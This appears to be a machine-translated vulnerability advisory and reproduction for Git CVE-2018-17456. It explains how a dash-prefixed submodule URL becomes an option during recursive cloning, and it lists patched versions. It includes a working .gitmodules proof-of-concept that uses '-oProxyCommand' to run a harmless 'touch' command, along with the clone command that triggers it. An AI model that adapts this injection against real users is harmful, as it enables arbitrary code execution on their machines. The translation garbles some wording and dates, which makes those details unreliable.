Git vulnerability allows arbitrary code execution (CVE-2018-17456)
Foreign security researcher joernchen reported details about the vulnerability to the GIT official team on June 13, September 23. On October 5, the GIT project disclosed a vulnerability numbered CVE-2018-17456. When a user clones a malicious repository, this vulnerability may cause arbitrary code execution.
Vulnerability description
This vulnerability has been assigned a unique ID for the CVE-2018-17456, similar to the previous CVE-2017-1000117 selectable injection vulnerability-a malicious repository can create a new. gitmodules file that contains a URL starting with a break.
When git uses the -- recurse-submodules parameter to clone a repository, this command translates the URL into an option and then uses this option for remote code execution on the computer.
When you run "Git clone -- recurse-submodules", git parses the url field in the. gitmodules file and passes it as a parameter to the "Git clone" subprocess. If the URL field is a string and starts with a short line, the "Git clone" sub-process translates the URL into an option. This may cause the user to execute any script in the superproject when running "Git clone.
Affected Product GitHub Desktop
GitHub desktop 1.4.1 and earlier versions contain embedded git affected by this vulnerability.
Atom
Atom contains the same embedded git and is also affected. Versions 1.31.2 and 1.32.0-beta3 include patches.
Git command line
Git on the command line and other clients
Vulnerability recurrence
Git command line for Mac OS, version 2.10.1
- 0x1 first create a repository on GitHub and then upload a repository
. Gitmodules
File, which is written into payload:
[Submodule "test"] Path = test url = SSH: //-oproxycommand = touch jimz-test/[email protected]:/timwr/test. Git
IfTouch jimz-test
.
Since then, our malicious repository has been created.
- 0x2 open the affected git on the target and enter Payload
Git clone https://github.com/zhengjim/CVE-2018-17456.git -- recurse-submodules
ThenLs CVE-2018-17456
View
The jimz-test file exists, proving that it has been executedTouch jimz-test
Recurrence successful
Solution
This vulnerability has been found in git v2.19.1 (with backports in v2.14.5, v2.15.3, v2.16.5, v2.17.2, and v2.18.1), GitHub desktop 1.4.2, GitHub desktop 1.4.3-beta0, atom 1.31.2 and atom 1.32.0-beta3 are fixed.
Update the GIT command line tool to the latest version officially released by git.
GitHub desktop is updated to version 1.4.2 and 1.4.3-beta0.
Atom is updated to version 1.31.2 and 1.32.0-beta3.
References
- Https://mp.weixin.qq.com/s/8ccCxij6XI90sfJzvpkDVg
- Https://zhuanlan.kanxue.com/article-5210.htm
- Http://hackernews.cc/archives/24216
Git vulnerabilities allow arbitrary code execution (CVE-2018-17456) Reproduction